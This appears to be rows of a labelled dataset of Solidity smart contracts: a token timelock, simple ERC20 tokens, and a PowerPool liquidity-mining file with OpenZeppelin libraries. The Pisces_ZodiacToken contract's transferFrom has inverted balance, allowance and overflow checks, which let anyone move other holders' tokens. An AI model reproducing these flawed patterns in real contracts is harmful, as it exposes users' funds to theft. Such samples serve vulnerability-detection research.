bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
pragma solidity ^0.8.0;
/**
* @dev A token holder contract that will allow a beneficiary to extract the
* tokens after a given release time.
*
* Useful for simple vesting schedules like "advisors get all of their tokens
* after 1 year".
*/
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private immutable _token;
// beneficiary of tokens after they are released
address private immutable _beneficiary;
// timestamp when token release is enabled
uint256 private immutable _releaseTime;
constructor(
IERC20 token_,
address beneficiary_,
uint256 releaseTime_
) {
require(releaseTime_ > block.timestamp, "TokenTimelock: release time is before current time");
_token = token_;
_beneficiary = beneficiary_;
_releaseTime = releaseTime_;
}
/**
* @return the token being held.
*/
function token() public view virtual returns (IERC20) {
return _token;
}
/**
* @return the beneficiary of the tokens.
*/
function beneficiary() public view virtual returns (address) {
return _beneficiary;
}
/**
* @return the time when the tokens are released.
*/
function releaseTime() public view virtual returns (uint256) {
return _releaseTime;
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public virtual {
require(block.timestamp >= releaseTime(), "TokenTimelock: current time is before release time");
uint256 amount = token().balanceOf(address(this));
require(amount > 0, "TokenTimelock: no tokens to release");
token().safeTransfer(beneficiary(), amount);
}
function getLockedAmount() public view virtual returns (uint256) {
uint256 amount = token().balanceOf(address(this));
return amount;
}
} | True | [
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pragma solidity ^0.4.17;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address _owner) public constant returns (uint balance);
function transfer(address _to, uint _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint remaining);
function approve(address _spender, uint _value) public returns (bool success);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/**
* @title Standard ERC20 token
*/
contract StandardToken is ERC20Basic {
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require((_value > 0) && (balances[msg.sender] >= _value));
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title DAXToken
*/
contract DAEXToken is StandardToken {
string public constant name = "DAEX Token";
string public constant symbol = "DAX";
uint public constant decimals = 18;
address public target;
function DAEXToken(address _target) public {
target = _target;
totalSupply = 2*10**27;
balances[target] = totalSupply;
}
} | True | [
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] |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant returns (uint256);
function transfer(address _to, uint256 _value) returns (bool);
}
contract Pisces_ZodiacToken {
address owner = msg.sender;
bool public purchasingAllowed = true;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalContribution = 0;
uint256 public totalBonusTokensIssued = 0;
uint public MINfinney = 0;
uint public AIRDROPBounce = 50000000;
uint public ICORatio = 144000;
uint256 public totalSupply = 0;
function name() constant returns (string) { return "Pisces_ZodiacToken"; }
function symbol() constant returns (string) { return "PSC♓"; }
function decimals() constant returns (uint8) { return 8; }
event Burnt(
address indexed _receiver,
uint indexed _num,
uint indexed _total_supply
);
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function balanceOf(address _owner) constant returns (uint256) { return balances[_owner]; }
function transfer(address _to, uint256 _value) returns (bool success) {
// mitigates the ERC20 short address attack
if(msg.data.length < (2 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[msg.sender];
bool sufficientFunds = fromBalance >= _value;
bool overflowed = balances[_to] + _value < balances[_to];
if (sufficientFunds && !overflowed) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
// mitigates the ERC20 short address attack
if(msg.data.length < (3 * 32) + 4) { throw; }
if (_value == 0) { return false; }
uint256 fromBalance = balances[_from];
uint256 allowance = allowed[_from][msg.sender];
bool sufficientFunds = fromBalance <= _value;
bool sufficientAllowance = allowance <= _value;
bool overflowed = balances[_to] + _value > balances[_to];
if (sufficientFunds && sufficientAllowance && !overflowed) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function approve(address _spender, uint256 _value) returns (bool success) {
// mitigates the ERC20 spend/approval race condition
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Burn(address indexed burner, uint256 value);
function enablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = true;
}
function disablePurchasing() {
if (msg.sender != owner) { throw; }
purchasingAllowed = false;
}
function withdrawForeignTokens(address _tokenContract) returns (bool) {
if (msg.sender != owner) { throw; }
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
function getStats() constant returns (uint256, uint256, uint256, bool) {
return (totalContribution, totalSupply, totalBonusTokensIssued, purchasingAllowed);
}
function setAIRDROPBounce(uint _newPrice) {
if (msg.sender != owner) { throw; }
AIRDROPBounce = _newPrice;
}
function setICORatio(uint _newPrice) {
if (msg.sender != owner) { throw; }
ICORatio = _newPrice;
}
function setMINfinney(uint _newPrice) {
if (msg.sender != owner) { throw; }
MINfinney = _newPrice;
}
function() payable {
if (!purchasingAllowed) { throw; }
if (msg.value < 1 finney * MINfinney) { return; }
owner.transfer(msg.value);
totalContribution += msg.value;
uint256 tokensIssued = (msg.value / 1e10) * ICORatio + AIRDROPBounce * 1e8;
totalSupply += tokensIssued;
balances[msg.sender] += tokensIssued;
Transfer(address(this), msg.sender, tokensIssued);
}
function withdraw() public {
uint256 etherBalance = this.balance;
owner.transfer(etherBalance);
}
function burn(uint num) public {
require(num * 1e8 > 0);
require(balances[msg.sender] >= num * 1e8);
require(totalSupply >= num * 1e8);
uint pre_balance = balances[msg.sender];
balances[msg.sender] -= num * 1e8;
totalSupply -= num * 1e8;
Burnt(msg.sender, num * 1e8, totalSupply);
Transfer(msg.sender, 0x0, num * 1e8);
assert(balances[msg.sender] == pre_balance - num * 1e8);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-02-18
*/
/*
https://powerpool.finance/
wrrrw r wrr
ppwr rrr wppr0 prwwwrp prwwwrp wr0
rr 0rrrwrrprpwp0 pp pr prrrr0 pp 0r prrrr0 0rwrrr pp pr prrrr0 prrrr0 r0
rrp pr wr00rrp prwww0 pp wr pp w00r prwwwpr 0rw prwww0 pp wr pp wr r0
r0rprprwrrrp pr0 pp wr pr pp rwwr wr 0r pp wr pr wr pr r0
prwr wrr0wpwr 00 www0 0w0ww www0 0w 00 www0 www0 0www0
wrr ww0rrrr
*/
// SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol
pragma solidity >=0.4.24 <0.7.0;
/**
* @title Initializable
*
* @dev Helper contract to support initializer functions. To use it, replace
* the constructor with a function that has the `initializer` modifier.
* WARNING: Unlike constructors, initializer functions must be manually
* invoked. This applies both to deploying an Initializable contract, as well
* as extending an Initializable contract via inheritance.
* WARNING: When used with inheritance, manual care must be taken to not invoke
* a parent initializer twice, or ensure that all initializers are idempotent,
* because this is not dealt with automatically as with constructors.
*/
contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private initializing;
/**
* @dev Modifier to use in the initializer function of a contract.
*/
modifier initializer() {
require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized");
bool isTopLevelCall = !initializing;
if (isTopLevelCall) {
initializing = true;
initialized = true;
}
_;
if (isTopLevelCall) {
initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
assembly { cs := extcodesize(self) }
return cs == 0;
}
// Reserved storage space to allow for layout changes in the future.
uint256[50] private ______gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract ContextUpgradeSafe is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
uint256[50] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[49] private __gap;
}
// File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.6.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: @openzeppelin/contracts-ethereum-package/contracts/utils/ReentrancyGuard.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuardUpgradeSafe is Initializable {
bool private _notEntered;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange the refund on every call to nonReentrant
// will be lower in amount. Since refunds are capped to a percetange of
// the total transaction's gas, it is best to keep them low in cases
// like this one, to increase the likelihood of the full refund coming
// into effect.
_notEntered = true;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_notEntered, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_notEntered = false;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_notEntered = true;
}
uint256[49] private __gap;
}
// File: contracts/interfaces/ILpTokenMigrator.sol
pragma solidity 0.6.12;
// note "contracts-ethereum-package" (but not "contracts") version of the package
interface ILpTokenMigrator {
// Perform LP token migration from legacy UniswapV2 to PowerSwap.
// Take the current LP token address and return the new LP token address.
// Migrator should have full access to the caller's LP token.
// Return the new LP token address.
//
// XXX Migrator must have allowance access to UniswapV2 LP tokens.
// PowerSwap must mint EXACTLY the same amount of PowerSwap LP tokens or
// else something bad will happen. Traditional UniswapV2 does not
// do that so be careful!
function migrate(IERC20 token, uint8 poolType) external returns (IERC20);
}
// File: contracts/interfaces/IVestedLPMining.sol
pragma solidity 0.6.12;
/**
* @notice
*/
interface IVestedLPMining {
/**
* @notice Initializes the storage of the contract
* @dev "constructor" to be called on a new proxy deployment
* @dev Sets the contract `owner` account to the deploying account
*/
function initialize(
IERC20 _cvp,
address _reservoir,
uint256 _cvpPerBlock,
uint256 _startBlock,
uint256 _cvpVestingPeriodInBlocks
) external;
function poolLength() external view returns (uint256);
/// @notice Add a new pool (only the owner may call)
function add(
uint256 _allocPoint,
IERC20 _lpToken,
uint8 _poolType,
bool _votesEnabled,
uint256 _lpBoostRate,
uint256 _cvpBoostRate,
uint256 _lpBoostMinRatio,
uint256 _lpBoostMaxRatio
) external;
/// @notice Update parameters of the given pool (only the owner may call)
function set(
uint256 _pid,
uint256 _allocPoint,
uint8 _poolType,
bool _votesEnabled,
uint256 _lpBoostRate,
uint256 _cvpBoostRate,
uint256 _lpBoostMinRatio,
uint256 _lpBoostMaxRatio
) external;
/// @notice Set the migrator contract (only the owner may call)
function setMigrator(ILpTokenMigrator _migrator) external;
/// @notice Set CVP reward per block (only the owner may call)
/// @dev Consider updating pool before calling this function
function setCvpPerBlock(uint256 _cvpPerBlock) external;
/// @notice Set CVP vesting period in blocks (only the owner may call)
function setCvpVestingPeriodInBlocks(uint256 _cvpVestingPeriodInBlocks) external;
function setCvpPoolByMetaPool(address _metaPool, address _cvpPool) external;
/// @notice Migrate LP token to another LP contract
function migrate(uint256 _pid) external;
/// @notice Return the amount of pending CVPs entitled to the given user of the pool
function pendingCvp(uint256 _pid, address _user) external view returns (uint256);
/// @notice Return the amount of CVP tokens which may be vested to a user of a pool in the current block
function vestableCvp(uint256 _pid, address user) external view returns (uint256);
/// @notice Return `true` if the LP Token is added to created pools
function isLpTokenAdded(IERC20 _lpToken) external view returns (bool);
/// @notice Update reward computation params for all pools
/// @dev Be careful of gas spending
function massUpdatePools() external;
/// @notice Update CVP tokens allocation for the given pool
function updatePool(uint256 _pid) external;
/// @notice Deposit the given amount of LP tokens to the given pool
function deposit(
uint256 _pid,
uint256 _amount,
uint256 _boostAmount
) external;
/// @notice Withdraw the given amount of LP tokens from the given pool
function withdraw(
uint256 _pid,
uint256 _amount,
uint256 _boostAmount
) external;
/// @notice Withdraw LP tokens without caring about pending CVP tokens. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) external;
/// @notice Write votes of the given user at the current block
function checkpointVotes(address _user) external;
/// @notice Get CVP amount and the share of CVPs in LP pools for the given account and the checkpoint
function getCheckpoint(address account, uint32 checkpointId)
external
view
returns (
uint32 fromBlock,
uint96 cvpAmount,
uint96 pooledCvpShare
);
event AddLpToken(address indexed lpToken, uint256 indexed pid, uint256 allocPoint);
event SetLpToken(address indexed lpToken, uint256 indexed pid, uint256 allocPoint);
event SetMigrator(address indexed migrator);
event SetCvpPerBlock(uint256 cvpPerBlock);
event SetCvpVestingPeriodInBlocks(uint256 cvpVestingPeriodInBlocks);
event SetCvpPoolByMetaPool(address indexed metaPool, address indexed cvpPool);
event MigrateLpToken(address indexed oldLpToken, address indexed newLpToken, uint256 indexed pid);
event Deposit(address indexed user, uint256 indexed pid, uint256 amount, uint256 boostAmount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount, uint256 boostAmount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount, uint256 boostAmount);
event CheckpointTotalLpVotes(uint256 lpVotes);
event CheckpointUserLpVotes(address indexed user, uint256 indexed pid, uint256 lpVotes);
event CheckpointUserVotes(address indexed user, uint256 pendedVotes, uint256 lpVotesShare);
}
// File: contracts/lib/ReservedSlots.sol
pragma solidity 0.6.12;
/// @dev Slots reserved for possible storage layout changes (it neither spends gas nor adds extra bytecode)
contract ReservedSlots {
uint256[100] private __gap;
}
// File: contracts/lib/SafeMath96.sol
pragma solidity 0.6.12;
library SafeMath96 {
function add(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function add(uint96 a, uint96 b) internal pure returns (uint96) {
return add(a, b, "SafeMath96: addition overflow");
}
function sub(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function sub(uint96 a, uint96 b) internal pure returns (uint96) {
return sub(a, b, "SafeMath96: subtraction overflow");
}
function average(uint96 a, uint96 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function fromUint(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function fromUint(uint n) internal pure returns (uint96) {
return fromUint(n, "SafeMath96: exceeds 96 bits");
}
}
// File: contracts/lib/SafeMath32.sol
pragma solidity 0.6.12;
library SafeMath32 {
function add(uint32 a, uint32 b, string memory errorMessage) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, errorMessage);
return c;
}
function add(uint32 a, uint32 b) internal pure returns (uint32) {
